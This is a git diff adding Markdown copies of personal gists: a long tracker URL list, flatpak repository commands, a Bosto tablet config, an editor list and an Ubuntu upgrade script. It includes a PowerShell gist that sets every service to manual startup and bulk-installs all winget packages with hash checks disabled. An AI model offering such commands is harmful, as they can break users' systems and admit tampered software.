+udp://tracker.cuntflaps.me:6969/announce + +udp://tracker.bluefrog.pw:2710/announce + +udp://retracker.lanta-net.ru:2710/announce + +udp://peerfect.org:6969/announce + +udp://open.stealth.si:80/announce + +udp://inferno.demonoid.ooo:3389/announce + +udp://208.67.16.113:8000/announce + +http://tracker2.itzmx.com:6961/announce + +http://tracker.skyts.net:6969/announce + +http://tracker.kuroy.me:5944/announce + +http://retracker.gorcomnet.ru:80/announce + +http://open.acgtracker.com:1096/announce + +http://fxtt.ru:80/announce + +http://91.218.230.81:6969/announce + +udp://z.crazyhd.com:2710/announce + +udp://tracker2.christianbro.pw:6969/announce + +udp://tracker.justseed.it:1337/announce + +udp://tracker.christianbro.pw:6969/announce + +http://tracker.tfile.me:80/announce + +http://tracker.skyts.cn:6969/announce + +http://share.camoe.cn:8080/announce + +http://retracker.omsk.ru:2710/announce + +http://retracker.mgts.by:80/announce + +udp://tracker.skyts.net:6969/announce + +udp://tracker.safe.moe:6969/announce + +udp://tracker.piratepublic.com:1337/announce + +udp://tracker.pirateparty.gr:6969/announce + +udp://tracker.leechers-paradise.org:6969/announce + +udp://tracker.coppersurfer.tk:6969/announce + +http://tracker.leechers-paradise.org:80/announce + +udp://allesanddro.de:1337/announce + +udp://9.rarbg.com:2710/announce + +http://p4p.arenabg.com:1337/announce + +udp://p4p.arenabg.com:1337/announce + +udp://tracker.opentrackr.org:1337/announce + +udp://tracker.internetwarriors.net:1337/announce + +http://tracker.opentrackr.org:1337/announce + +http://tracker.internetwarriors.net:1337/announce + +udp://public.popcorn-tracker.org:6969/announce + +udp://peerfect.org:6969/announce + +http://91.218.230.81:6969/announce + +udp://tracker.mg64.net:6969/announce + +udp://open.facedatabg.net:6969/announce + + + + +udp://public.popcorn-tracker.org:6969/announce + +http://182.176.139.129:6969/announce + +http://5.79.83.193:2710/announce + +http://91.218.230.81:6969/announce + +udp://tracker.ilibr.org:80/announce + +http://atrack.pow7.com/announce + +http://bt.henbt.com:2710/announce + +http://mgtracker.org:2710/announce + +http://mgtracker.org:6969/announce + +http://open.touki.ru/announce.php + +http://p4p.arenabg.ch:1337/announce + +http://pow7.com:80/announce + +http://retracker.krs-ix.ru:80/announce + +http://secure.pow7.com/announce + +http://t1.pow7.com/announce + +http://t2.pow7.com/announce + +http://thetracker.org:80/announce + +http://torrentsmd.com:8080/announce + +http://tracker.bittor.pw:1337/announce + +http://tracker.dutchtracking.com:80/announce + +http://tracker.dutchtracking.nl:80/announce + +http://tracker.edoardocolombo.eu:6969/announce + +http://tracker.ex.ua:80/announce + +http://tracker.kicks-ass.net:80/announce + +http://tracker1.wasabii.com.tw:6969/announce + +http://tracker2.itzmx.com:6961/announce + +http://www.wareztorrent.com:80/announce + +udp://62.138.0.158:6969/announce + +udp://eddie4.nl:6969/announce + +udp://explodie.org:6969/announce + +udp://shadowshq.eddie4.nl:6969/announce + +udp://shadowshq.yi.org:6969/announce + +udp://tracker.eddie4.nl:6969/announce + +udp://tracker.mg64.net:2710/announce + +udp://tracker.sktorrent.net:6969 + +udp://tracker2.indowebster.com:6969/announce + +udp://tracker4.piratux.com:6969/announce + +http://atrack.pow7.com/announce + +http://bt.henbt.com:2710/announce + +http://mgtracker.org:2710/announce + +http://mgtracker.org:6969/announce + +http://open.touki.ru/announce.php + +http://p4p.arenabg.ch:1337/announce + +http://pow7.com:80/announce + +http://retracker.krs-ix.ru:80/announce + +http://secure.pow7.com/announce + +http://t1.pow7.com/announce + +http://t2.pow7.com/announce + +http://thetracker.org:80/announce + +http://torrentsmd.com:8080/announce + +http://tracker.bittor.pw:1337/announce + +http://tracker.dutchtracking.com/announce + +http://tracker.dutchtracking.com:80/announce + +http://tracker.dutchtracking.nl:80/announce + +http://tracker.edoardocolombo.eu:6969/announce + +http://tracker.ex.ua:80/announce + +http://tracker.kicks-ass.net:80/announce + +http://tracker.mg64.net:6881/announce + +http://tracker.tfile.me/announce + +http://tracker1.wasabii.com.tw:6969/announce + +http://tracker2.itzmx.com:6961/announce + +http://tracker2.wasabii.com.tw:6969/announce + +http://www.wareztorrent.com:80/announce + +udp://bt.xxx-tracker.com:2710/announce + +udp://eddie4.nl:6969/announce + +udp://shadowshq.eddie4.nl:6969/announce + +udp://shadowshq.yi.org:6969/announce + +udp://tracker.eddie4.nl:6969/announce + +udp://tracker.mg64.net:2710/announce + +udp://tracker.mg64.net:6969/announce + +udp://tracker.opentrackr.org:1337/announce + +udp://tracker.sktorrent.net:6969 + +udp://tracker2.indowebster.com:6969/announce + +udp://tracker4.piratux.com:6969/announce + +udp://tracker.coppersurfer.tk:6969/announce + +http://tracker.opentrackr.org:1337/announce + +udp://zer0day.ch:1337/announce + +udp://zer0day.to:1337/announce + +http://explodie.org:6969/announce + +udp://tracker.leechers-paradise.org:6969/announce + +udp://9.rarbg.com:2710/announce + +udp://9.rarbg.me:2780/announce + +udp://9.rarbg.to:2730/announce + +udp://p4p.arenabg.com:1337/announce + +udp://tracker.sktorrent.net:6969/announce + +http://p4p.arenabg.com:1337/announce + +udp://tracker.aletorrenty.pl:2710/announce + +http://tracker.aletorrenty.pl:2710/announce + +http://tracker.bittorrent.am/announce + +udp://tracker.kicks-ass.net:80/announce + +http://tracker.kicks-ass.net/announce + +http://tracker.baravik.org:6970/announce + +udp://torrent.gresille.org:80/announce + +http://torrent.gresille.org/announce + +http://tracker.skyts.net:6969/announce + +http://tracker.internetwarriors.net:1337/announce + +udp://tracker.skyts.net:6969/announce + +http://tracker.dutchtracking.nl/announce + +udp://tracker.yoshi210.com:6969/announce + +udp://tracker.tiny-vps.com:6969/announce + +udp://tracker.internetwarriors.net:1337/announce + +udp://mgtracker.org:2710/announce + +http://tracker.yoshi210.com:6969/announce + +http://tracker.tiny-vps.com:6969/announce + +udp://tracker.filetracker.pl:8089/announce + +udp://tracker.ex.ua:80/announce + +udp://91.218.230.81:6969/announce + +https://www.wareztorrent.com/announce + +http://www.wareztorrent.com/announce + +http://tracker.filetracker.pl:8089/announce + +http://tracker.ex.ua/announce + +http://tracker.calculate.ru:6969/announce + +udp://tracker.grepler.com:6969/announce + +udp://tracker.flashtorrents.org:6969/announce + +udp://tracker.bittor.pw:1337/announce + +http://tracker.tvunderground.org.ru:3218/announce + +http://tracker.grepler.com:6969/announce + +http://tracker.flashtorrents.org:6969/announce + +http://retracker.gorcomnet.ru/announce + +http://bt.pusacg.org:8080/announce + +http://87.248.186.252:8080/announce + +udp://tracker.kuroy.me:5944/announce + +udp://182.176.139.129:6969/announce + +http://tracker.kuroy.me:5944/announce + +http://retracker.krs-ix.ru/announce + +http://open.acgtracker.com:1096/announce + +udp://open.stealth.si:80/announce + +udp://208.67.16.113:8000/announce + +http://tracker.dler.org:6969/announce + +http://bt2.careland.com.cn:6969/announce + +http://open.lolicon.eu:7777/announce + +http://tracker.opentrackr.org:1337/announce + +http://explodie.org:6969/announce + +http://p4p.arenabg.com:1337/announce + +http://tracker.aletorrenty.pl:2710/announce + +http://tracker.bittorrent.am/announce + +http://tracker.kicks-ass.net/announce + +http://tracker.baravik.org:6970/announce + +http://torrent.gresille.org/announce + +http://tracker.skyts.net:6969/announce + +http://tracker.internetwarriors.net:1337/announce + +http://tracker.dutchtracking.nl/announce + +http://tracker.yoshi210.com:6969/announce + +http://tracker.tiny-vps.com:6969/announce + +http://www.wareztorrent.com/announce + +http://tracker.filetracker.pl:8089/announce + +http://tracker.ex.ua/announce + +http://tracker.calculate.ru:6969/announce + +http://tracker.tvunderground.org.ru:3218/announce + +http://tracker.grepler.com:6969/announce + +http://tracker.flashtorrents.org:6969/announce + +http://retracker.gorcomnet.ru/announce + +http://bt.pusacg.org:8080/announce + +http://87.248.186.252:8080/announce + +http://tracker.kuroy.me:5944/announce + +http://retracker.krs-ix.ru/announce + +http://open.acgtracker.com:1096/announce + +http://bt2.careland.com.cn:6969/announce + +http://open.lolicon.eu:7777/announce + +https://www.wareztorrent.com/announce + +udp://213.163.67.56:1337/announce + +http://213.163.67.56:1337/announce + +udp://185.86.149.205:1337/announce + +http://74.82.52.209:6969/announce + +udp://94.23.183.33:6969/announce + +udp://74.82.52.209:6969/announce + +udp://151.80.120.114:2710/announce + +udp://109.121.134.121:1337/announce + +udp://168.235.67.63:6969/announce + +http://109.121.134.121:1337/announce + +udp://178.33.73.26:2710/announce + +http://178.33.73.26:2710/announce + +http://85.17.19.180/announce + +udp://85.17.19.180:80/announce + +http://210.244.71.25:6969/announce + +http://85.17.19.180/announce + +http://213.159.215.198:6970/announce + +udp://191.101.229.236:1337/announce + +http://178.175.143.27/announce + +udp://89.234.156.205:80/announce + +http://91.216.110.47/announce + +http://114.55.113.60:6969/announce + +http://195.123.209.37:1337/announce + +udp://114.55.113.60:6969/announce + +http://210.244.71.26:6969/announce + +udp://107.150.14.110:6969/announce + +udp://5.79.249.77:6969/announce + +udp://195.123.209.37:1337/announce + +udp://37.19.5.155:2710/announce + +http://107.150.14.110:6969/announce + +http://5.79.249.77:6969/announce + +udp://185.5.97.139:8089/announce + +udp://194.106.216.222:80/announce + +udp://91.218.230.81:6969/announce + +https://104.28.17.69/announce + +http://104.28.16.69/announce + +http://185.5.97.139:8089/announce + +http://194.106.216.222/announce + +http://80.246.243.18:6969/announce + +http://37.19.5.139:6969/announce + +udp://5.79.83.193:6969/announce + +udp://46.4.109.148:6969/announce + +udp://51.254.244.161:6969/announce + +udp://188.165.253.109:1337/announce + +http://91.217.91.21:3218/announce + +http://37.19.5.155:6881/announce + +http://46.4.109.148:6969/announce + +http://51.254.244.161:6969/announce + +http://104.28.1.30:8080/announce + +http://81.200.2.231/announce + +http://157.7.202.64:8080/announce + +http://87.248.186.252:8080/announce + +udp://128.199.70.66:5944/announce + +udp://182.176.139.129:6969/announce + +http://128.199.70.66:5944/announce + +http://188.165.253.109:1337/announce + +http://93.92.64.5/announce + +http://173.254.204.71:1096/announce + +udp://195.123.209.40:80/announce + +udp://62.212.85.66:2710/announce + +udp://208.67.16.113:8000/announce + +http://125.227.35.196:6969/announce + +http://59.36.96.77:6969/announce + +http://87.253.152.137/announce + +http://158.69.146.212:7777/announce + +udp://tracker.coppersurfer.tk:6969/announce + +udp://zer0day.ch:1337/announce + +udp://tracker.leechers-paradise.org:6969/announce + +udp://9.rarbg.com:2710/announce + +udp://p4p.arenabg.com:1337/announce + +udp://tracker.sktorrent.net:6969/announce + +udp://tracker.aletorrenty.pl:2710/announce + +udp://tracker.kicks-ass.net:80/announce + +udp://torrent.gresille.org:80/announce + +udp://tracker.skyts.net:6969/announce + +udp://tracker.yoshi210.com:6969/announce + +udp://tracker.tiny-vps.com:6969/announce + +udp://tracker.internetwarriors.net:1337/announce + +udp://mgtracker.org:2710/announce + +udp://tracker.filetracker.pl:8089/announce + +udp://tracker.ex.ua:80/announce + +udp://91.218.230.81:6969/announce + +udp://tracker.grepler.com:6969/announce + +udp://tracker.flashtorrents.org:6969/announce + +udp://tracker.bittor.pw:1337/announce + +udp://tracker.kuroy.me:5944/announce + +udp://182.176.139.129:6969/announce + +udp://open.stealth.si:80/announce + +udp://208.67.16.113:8000/announce + +udp://tracker.coppersurfer.tk:6969/announce + +http://tracker.opentrackr.org:1337/announce + +udp://zer0day.ch:1337/announce + +http://explodie.org:6969/announce + +udp://tracker.leechers-paradise.org:6969/announce + +udp://9.rarbg.com:2710/announce + +udp://p4p.arenabg.com:1337/announce + +udp://tracker.sktorrent.net:6969/announce + +http://p4p.arenabg.com:1337/announce + +udp://tracker.aletorrenty.pl:2710/announce + +http://tracker.aletorrenty.pl:2710/announce + +http://tracker.bittorrent.am/announce + +udp://tracker.kicks-ass.net:80/announce + +http://tracker.kicks-ass.net/announce + +http://tracker.baravik.org:6970/announce + +udp://tracker.piratepublic.com:1337/announce + +udp://213.163.67.56:1337/announce + +http://213.163.67.56:1337/announce + +udp://185.86.149.205:1337/announce + +http://74.82.52.209:6969/announce + +udp://94.23.183.33:6969/announce + +udp://74.82.52.209:6969/announce + +udp://151.80.120.114:2710/announce + +udp://109.121.134.121:1337/announce + +udp://168.235.67.63:6969/announce + +http://109.121.134.121:1337/announce + +udp://178.33.73.26:2710/announce + +http://178.33.73.26:2710/announce + +http://85.17.19.180/announce + +udp://85.17.19.180:80/announce + +http://210.244.71.25:6969/announce + +http://85.17.19.180/announce + +udp://tracker.coppersurfer.tk:6969/announce +udp://p4p.arenabg.ch:1337 +udp://p4p.arenabg.com:1337 +http://bttracker.crunchbanglinux.org:6969/announce +http://tracker.aletorrenty.pl:2710/announce +udp://torrent.gresille.org:80/announce +udp://glotorrents.pw:6969/announce +udp://tracker.trackerfix.com:80/announce +udp://www.eddie4.nl:6969/announce +udp://tracker.leechers-paradise.org:6969 +http://retracker.kld.ru:2710/announce +http://9.rarbg.com:2710/announce +http://bt.careland.com.cn:6969/announce +http://explodie.org:6969/announce +http://mgtracker.org:2710/announce +http://tracker.best-torrents.net:6969/announce +http://tracker.tfile.me/announce +http://tracker.torrenty.org:6969/announce +http://tracker1.wasabii.com.tw:6969/announce +udp://9.rarbg.me:2710/announce +udp://tracker.btzoo.eu:80/announce +http://pow7.com/announce +http://tracker.novalayer.org:6969/announce +http://193.107.16.156:2710/announce +http://cpleft.com:2710/announce +http://retracker.hotplug.ru:2710/announce +http://retracker.kld.ru/announce +http://inferno.demonoid.me:3414/announce +http://announce.torrentsmd.com:6969/announce +udp://9.rarbg.com:2710/announce +udp://coppersurfer.tk:6969/announce +udp://exodus.desync.com:6969/announce +udp://open.demonii.com:1337/announce +udp://tracker.prq.to/announce +http://exodus.desync.com/announce +http://ipv4.tracker.harry.lu/announce +http://tracker.torrentbay.to:6969/announce +udp://11.rarbg.com/announce +udp://tracker.1337x.org:80/announce +udp://tracker.istole.it:80/announce +udp://tracker.ccc.de:80/announce +udp://fr33dom.h33t.com:3310/announce +udp://tracker.openbittorrent.com:80/announce +udp://tracker.publicbt.com:80/announce +udp://tracker.ilibr.org:6969/announce +udp://tracker.istole.it:80 +udp://tracker.istole.it:80/announce +udp://tracker.istole.it:6969 +udp://tracker.openbittorrent.com:80 +udp://tracker.prq.to/announce +udp://tracker.prq.to:80/announce +udp://tracker.prq.to:6969/announce +udp://tracker.publicbt.com:80 +udp://tracker.yify-torrents.com/announce +udp://tracker.yify-torrents.com:80/announce +udp://tracker.yify-torrents.com:6969/announce +udp://tracker.yts.re/announce +http://bovetorrents.hol.es/announce.php +udp://coppersurfer.tk:6969/announce +http://bt.careland.com.cn:6969/announce +http://mgtracker.org:2710/announce +udp://9.rarbg.com:2710/announce +udp://www.eddie4.nl:6969/announce +udp://9.rarbg.me:2710/announce +http://blackcat.filers.ru:1337/announce +udp://p4p.arenabg.com:1337 +http://bttracker.crunchbanglinux.org:6969/announce +http://tracker.aletorrenty.pl:2710/announce +udp://torrent.gresille.org:80/announce +udp://glotorrents.pw:6969/announce +udp://tracker.trackerfix.com:80/announce +udp://www.eddie4.nl:6969/announce +udp://tracker.sktorrent.net:6969/announce +udp://tracker.leechers-paradise.org:6969 +http://retracker.kld.ru:2710/announce +http://9.rarbg.com:2710/announce +http://bt.careland.com.cn:6969/announce +http://explodie.org:6969/announce +http://mgtracker.org:2710/announce +udp://tracker.internetwarriors.net:1337/announce +http://tracker.best-torrents.net:6969/announce +http://tracker.tfile.me/announce +http://tracker.torrenty.org:6969/announce +http://tracker1.wasabii.com.tw:6969/announce +udp://9.rarbg.me:2710/announce +udp://tracker.btzoo.eu:80/announce +http://pow7.com/announce +http://retracker.hotplug.ru:2710/announce +http://retracker.kld.ru/announce +http://tracker.coppersurfer.tk:6969/announce +http://tracker.aletorrenty.pl:2710/announce +http://tracker.tfile.me/announce +udp://torrent.gresille.org:80/announce +http://torrent.gresille.org/announce +http://tracker.dutchtracking.nl/announce +http://inferno.demonoid.me:3414/announce +http://announce.torrentsmd.com:6969/announce +udp://9.rarbg.com:2710/announce +udp://coppersurfer.tk:6969/announce +udp://exodus.desync.com:6969/announce +udp://open.demonii.com:1337/announce +udp://tracker.prq.to/announce +http://exodus.desync.com/announce +http://ipv4.tracker.harry.lu/announce +http://tracker.torrentbay.to:6969/announce +udp://11.rarbg.com/announce +udp://tracker.opentrackr.org:1337 +udp://tracker.1337x.org:80/announce +udp://tracker.istole.it:80/announce +udp://tracker.ccc.de:80/announce +udp://fr33dom.h33t.com:3310/announce +udp://tracker.openbittorrent.com:80/announce +udp://tracker.publicbt.com:80/announce +udp://open.demonii.com:1337/announce +http://9.rarbg.com:2710/announce +http://announce.torrentsmd.com:6969/announce +http://bt.careland.com.cn:6969/announce +http://explodie.org:6969/announce +http://mgtracker.org:2710/announce +http://tracker.tfile.me/announce +http://tracker.torrenty.org:6969/announce +http://tracker.trackerfix.com/announce +http://www.mvgroup.org:2710/announce +udp://9.rarbg.com:2710/announce +udp://9.rarbg.me:2710/announce +udp://9.rarbg.to:2710/announce +udp://coppersurfer.tk:6969/announce +udp://exodus.desync.com:6969/announce +udp://glotorrents.pw:6969/announce +udp://open.demonii.com:1337/announce +udp://tracker.glotorrents.com:6969/announce +udp://tracker.leechers-paradise.org:6969/announce +udp://tracker.openbittorrent.com:80/announce +udp://tracker.opentrackr.org:1337/announce +udp://tracker.publicbt.com:80/announce +udp://tracker4.piratux.com:6969/announce +udp://tracker.pirateparty.gr:6969/announce + +udp://tracker.cuntflaps.me:6969/announce + +udp://tracker.coppersurfer.tk:6969/announce + +udp://tracker.leechers-paradise.org:6969/announce + +tracker.opentrackr.org:1337/announce + +udp://tracker.opentrackr.org:1337/announce + +udp://tracker.zer0day.to:1337/announce + +p4p.arenabg.com:1337/announce + +udp://p4p.arenabg.com:1337/announce + +explodie.org:6969/announce + +udp://inferno.demonoid.ooo:3389/announce + +udp://explodie.org:6969/announce + +tracker.videodrugproject.com:80/announce + +udp://tracker.internetwarriors.net:1337/announce + +tracker.internetwarriors.net:1337/announce + +udp://9.rarbg.com:2710/announce + +udp://tracker.mg64.net:6969/announce + +udp://mgtracker.org:6969/announce + +tracker.mg64.net:6881/announce + +mgtracker.org:6969/announce + +udp://tracker.grepler.com:6969/announce + +tracker1.wasabii.com.tw:6969/announce + +tracker.grepler.com:6969/announce + +udp://tracker1.wasabii.com.tw:6969/announce + +tracker2.wasabii.com.tw:6969/announce + +udp://tracker2.wasabii.com.tw:6969/announce + +ipv4.tracker.harry.lu:80/announce + +udp://leecherhaven.zapto.org:6969/announce + +udp://ipv4.tracker.harry.lu:80/announce + +bt.artvid.ru:6969/announce + +udp://tracker.tiny-vps.com:6969/announce + +tracker.tiny-vps.com:6969/announce + +retracker.mgts.by:80/announce + +tracker.electro-torrent.pl:80/announce + +t.nyaatracker.com:80/announce + +retracker.telecom.by:80/announce + +tracker.devil-torrents.pl:80/announce + +tracker.vanitycore.co:6969/announce + +tracker.kuroy.me:5944/announce + +udp://tracker.vanitycore.co:6969/announce + +udp://bt.xxx-tracker.com:2710/announce + +agusiq-torrents.pl:6969/announce + +udp://tracker.kuroy.me:5944/announce + +grifon.info:80/announce + +tracker.torrentyorg.pl:80/announce + +91.218.230.81:6969/announce + +tracker.filetracker.pl:8089/announce + +udp://tracker.filetracker.pl:8089/announce + +tracker.tlm-project.org:6969/announce + +udp://peerfect.org:6969/announce + +udp://open.stealth.si:80/announce + +udp://zephir.monocul.us:6969/announce + +udp://tracker.kamigami.org:2710/announce + +udp://thetracker.org:80/announce + +udp://public.popcorn-tracker.org:6969/announce + +udp://tracker.swateam.org.uk:2710/announce + +udp://tracker.skyts.net:6969/announce + +udp://tracker.safe.moe:6969/announce + +udp://open.facedatabg.net:6969/announce + +udp://tracker.files.fm:6969/announce + +udp://tracker2.christianbro.pw:6969/announce + +udp://z.crazyhd.com:2710/announce + +udp://retracker.lanta-net.ru:2710/announce + +udp://tracker.torrent.eu.org:451/announce + +udp://tracker.edoardocolombo.eu:6969/announce + +udp://tracker.doko.moe:6969/announce + +udp://tracker.cypherpunks.ru:6969/announce + +udp://tracker.christianbro.pw:6969/announce + +udp://oscar.reyesleon.xyz:6969/announce + +torrentsmd.com:8080/announce + +udp://allesanddro.de:1337/announce + +fxtt.ru:80/announce + +udp://tracker.bluefrog.pw:2710/announce + +open.acgtracker.com:1096/announce + +udp://tracker.piratepublic.com:1337/announce + +udp://208.67.16.113:8000/announce + +tracker2.itzmx.com:6961/announce + +udp://tracker.justseed.it:1337/announce + +udp://tr.cili001.com:6666/announce + +udp://86.19.29.160:6969/announce + +tracker.tfile.me:80/announce + +tr.cili001.com:6666/announce + +share.camoe.cn:8080/announce + +retracker.omsk.ru:2710/announce + +86.19.29.160:6969/announce +``` + + diff --git a/content/gists/93445e617b848ab12e5b0a7026f25752.md b/content/gists/93445e617b848ab12e5b0a7026f25752.md new file mode 100644 index 000000000..3523cb3ce --- /dev/null +++ b/content/gists/93445e617b848ab12e5b0a7026f25752.md @@ -0,0 +1,50 @@ +--- +title: "flatpaks" +type: gist +gist_id: "93445e617b848ab12e5b0a7026f25752" +gist_name: "flatpaks gistfile1.txt" +gist_url: https://gist.github.com/dominicusin/93445e617b848ab12e5b0a7026f25752 +updated_at: "2025-05-04T07:56:00Z" +files: ["gistfile1.txt"] +--- +_flatpaks_ + +## gistfile1.txt + +```Text + flatpak remote-add --from eos-sdk #http://endlessm.github.io/eos-knowledge-lib/eos-sdk.flatpakrepo + flatpak remote-add --from eos-sdk http://endlessm.github.io/eos-knowledge-lib/eos-sdk.flatpakrepo + flatpak remote-add --from eos-sdk-nightly http://endlessm.github.io/eos-knowledge-lib/eos-sdk-nightly.flatpakrepo + flatpak remote-add --gpg-import=eos-flatpak-keyring.gpg eos-apps https://ostree.endlessm.com/ostree/eos-apps + flatpak remote-add --gpg-import=eos-flatpak-keyring.gpg eos-sdk https://ostree.endlessm.com/ostree/eos-sdk + flatpak remote-add --if-not-exists dragon-nightly https://cdn.kde.org/flatpak/dragon-nightly/dragon-nightly.flatpakrepo + flatpak remote-add --if-not-exists eclipse-nightly https://download.eclipse.org/linuxtools/flatpak-I-builds/eclipse.flatpakrepo + flatpak remote-add --if-not-exists elementaryos https://flatpak.elementary.io/repo.flatpakrepo + flatpak remote-add --if-not-exists fedora oci+https://registry.fedoraproject.org + flatpak remote-add --if-not-exists fedora-testing oci+https://registry.fedoraproject.org#testing + flatpak remote-add --if-not-exists flathub-beta https://flathub.org/beta-repo/flathub-beta.flatpakrepo + flatpak remote-add --if-not-exists flathub https://dl.flathub.org/repo/flathub.flatpakrepo + flatpak remote-add --if-not-exists flathub https://dl.flathub.org/repo/flathub.flatpakrepo + flatpak remote-add --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo + flatpak remote-add --if-not-exists gnome-nightly https://nightly.gnome.org/gnome-nightly.flatpakrepo + flatpak remote-add --if-not-exists gnome-nightly https://nightly.gnome.org/gnome-nightly.flatpakrepo. + flatpak remote-add --if-not-exists igalia https://software.igalia.com/flatpak-refs/igalia.flatpakrepo + flatpak remote-add --if-not-exists kdeapps https://distribute.kde.org/kdeapps.flatpakrepo + flatpak remote-add --if-not-exists kde-runtime-nightly https://cdn.kde.org/flatpak/kde-runtime-nightly/kde-runtime-nightly.flatpakrepo + flatpak remote-add --if-not-exists PureOS https://store.puri.sm/repo/stable/pureos.flatpakrepo + flatpak remote-add --if-not-exists --subset=floss flathub-floss https://dl.flathub.org/repo/flathub.flatpakrepo.. + flatpak remote-add --if-not-exists --subset=verified flathub-verified https://dl.flathub.org/repo/flathub.flatpakrepo + flatpak remote-add --if-not-exists --subset=verified_floss flathub-verified_floss https://dl.flathub.org/repo/flathub.flatpakrepo + flatpak remote-add --if-not-exists tenacity oci+https://tenacityteam.github.io/tenacity-flatpak-nightly + flatpak remote-add --if-not-exists --user appcenter https://flatpak.elementary.io/repo.flatpakrepo + flatpak remote-add --if-not-exists webkit-sdk https://software.igalia.com/flatpak-refs/webkit-sdk.flatpakrepo + flatpak remote-add rhel https://flatpaks.redhat.io/rhel.flatpakrepo + flatpak remote-add --system elementary https://flatpak.elementary.io/elementary.flatpakrepo + flatpak remote-add --user appcenter https://flatpak.elementary.io/appcenter.flatpakrepo + flatpak remote-add --user --if-not-exists webkit https://software.igalia.com/flatpak-refs/webkit-sdk.flatpakrepo + flatpak remote-add xwaylandvideobridge-nightly https://cdn.kde.org/flatpak/xwaylandvideobridge-nightly/xwaylandvideobridge-nightly.flatpakrepo + flatpak --system remote-add --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo + +``` + + diff --git a/content/gists/953c8be270e8a4b89bc295c1a938610e.md b/content/gists/953c8be270e8a4b89bc295c1a938610e.md new file mode 100644 index 000000000..e6b367529 --- /dev/null +++ b/content/gists/953c8be270e8a4b89bc295c1a938610e.md @@ -0,0 +1,22 @@ +--- +title: "Get-Service | Set-Service -StartupType Manual" +type: gist +gist_id: "953c8be270e8a4b89bc295c1a938610e" +gist_name: "Get-Service | Set-Service -StartupType Manual Get-Service | Set-Service -StartupType Manual" +gist_url: https://gist.github.com/dominicusin/953c8be270e8a4b89bc295c1a938610e +updated_at: "2023-12-07T13:19:37Z" +files: ["Get-Service | Set-Service -StartupType Manual"] +--- +_Get-Service | Set-Service -StartupType Manual_ + +## Get-Service | Set-Service -StartupType Manual + +``` +Get-Service | Set-Service -StartupType Manual +Find-WinGetPackage -Verbose | Install-WinGetPackage -AllowHashMismatch -Confirm -Force -Verbose +Get-AppXPackage -AllUsers | Foreach {Add-AppxPackage -DisableDevelopmentMode -Register "$($_.InstallLocation)\AppXManifest.xml"} + + +``` + + diff --git a/content/gists/97f63e4542b22301893514820887bf94.md b/content/gists/97f63e4542b22301893514820887bf94.md new file mode 100644 index 000000000..458ef4c70 --- /dev/null +++ b/content/gists/97f63e4542b22301893514820887bf94.md @@ -0,0 +1,26 @@ +--- +title: "bosto digitizer" +type: gist +gist_id: "97f63e4542b22301893514820887bf94" +gist_name: "bosto digitizer BOSTO" +gist_url: https://gist.github.com/dominicusin/97f63e4542b22301893514820887bf94 +updated_at: "2021-04-19T01:58:08Z" +files: ["BOSTO"] +--- +_bosto digitizer_ + +## BOSTO + +``` +Section "InputClass" + Identifier "Bosto 16HD" + MatchUSBID "0ed1:7821" + MatchDevicePath "/dev/input/event*" + Driver "wacom" + Option "Area" "0 0 17910 10240" + Option "Threshold" "1" #optional, should reduce the lag on pressing the pen +EndSection + +``` + + diff --git a/content/gists/9b501e765b90f223a969b1617e067222.md b/content/gists/9b501e765b90f223a969b1617e067222.md new file mode 100644 index 000000000..4a6f69020 --- /dev/null +++ b/content/gists/9b501e765b90f223a969b1617e067222.md @@ -0,0 +1,114 @@ +--- +title: "ed's" +type: gist +gist_id: "9b501e765b90f223a969b1617e067222" +gist_name: "ed's ed's" +gist_url: https://gist.github.com/dominicusin/9b501e765b90f223a969b1617e067222 +updated_at: "2025-03-27T09:15:22Z" +files: ["ed's"] +--- +_ed's_ + +## ed's + +``` +Adobe XD +Android Studio +AppCode +Aptana +Aqua +Arduino IDE +Azure Data Studio +Blender +BlueJ +Brackets +Brave +C++ Builder +CLion +Canva +Chrome +Cloud9 +Coda +Code::Blocks +CodeLite +CodeTasty +Cursor +DBeaver +DataGrip +DataSpell +Delphi +Discord +Eclipse +Edge +EmEditor +Emacs +Eric +Espresso +Excel +Figma +Firefox +Flash Builder +Geany +Gedit +GoLand +HBuilder X +Helix +IDA Pro +IntelliJ IDEA +Jupyter +KDevelop +Kakoune +Kate +Komodo +Light Table +MPS +Micro +MySQL Workbench +Neovim +NetBeans +Notepad++ +Nova +Obsidian +Onivim +Oxygen +Photoshop +PhpStorm +Postman +PowerPoint +Processing +Pulsar +PyCharm +Pymakr +QtCreator +RStudio +ReClassEx +Rider +Roblox Studio +RubyMine +RustRover +SQL Server Management Studio +SQL Server Studio +Safari +SiYuan +Sketch +SlickEdit +Spyder +Sublime Text +TeXstudio +Terminal +TextMate +Unity +VS Code +Vim +Visual Studio +WPS Office +WebStorm +Windsurf +Wing +Word +Xcode +Zed +Zotero +``` + + diff --git a/content/gists/9e405de964d9f42c34833cecac25e568.md b/content/gists/9e405de964d9f42c34833cecac25e568.md new file mode 100644 index 000000000..44a967532 --- /dev/null +++ b/content/gists/9e405de964d9f42c34833cecac25e568.md @@ -0,0 +1,32 @@ +--- +title: "do-release-upgrade" +type: gist +gist_id: "9e405de964d9f42c34833cecac25e568" +gist_name: "do-release-upgrade do-release-upgrade" +gist_url: https://gist.github.com/dominicusin/9e405de964d9f42c34833cecac25e568 +updated_at: "2025-04-04T08:27:54Z" +files: ["do-release-upgrade"] +--- +_do-release-upgrade _ + +## do-release-upgrade + +``` +apt-get upgrade -y +apt-get dist-upgrade -y +apt-get install -y update-manager-core +iptables -I INPUT -p tcp --dport 1022 -j ACCEPT +sudo sed -i 's/Prompt=.*/Prompt=normal/' /etc/update-manager/release-upgrades +rm /var/run/reboot-required* +do-release-upgrade --frontend=DistUpgradeViewNonInteractive + +#"DistUpgradeViewText", "DistUpgradeViewGtk", "DistUpgradeViewKDE" + +do-release-upgrade --frontend=DistUpgradeViewNonInteractive --proposed --allow-third-party +do-release-upgrade --frontend=DistUpgradeViewNonInteractive --allow-third-party --mode=server --proposed + +do-release-upgrade --devel-release --mode=desktop --frontend=DistUpgradeViewNonInteractive --allow-third-party + +``` + + diff --git a/content/gists/9ecefd2a09d90f0fe6ce465f60051e61.md b/content/gists/9ecefd2a09d90f0fe6ce465f60051e61.md new file mode 100644 index 000000000..68ef8435d --- /dev/null +++ b/content/gists/9ecefd2a09d90f0fe6ce465f60051e61.md @@ -0,0 +1,28 @@ +--- +title: "From: Chris Wanstrath " +type: gist +gist_id: "9ecefd2a09d90f0fe6ce465f60051e61" +gist_name: "From: Chris Wanstrath From: Chris Wanstrath " +gist_url: 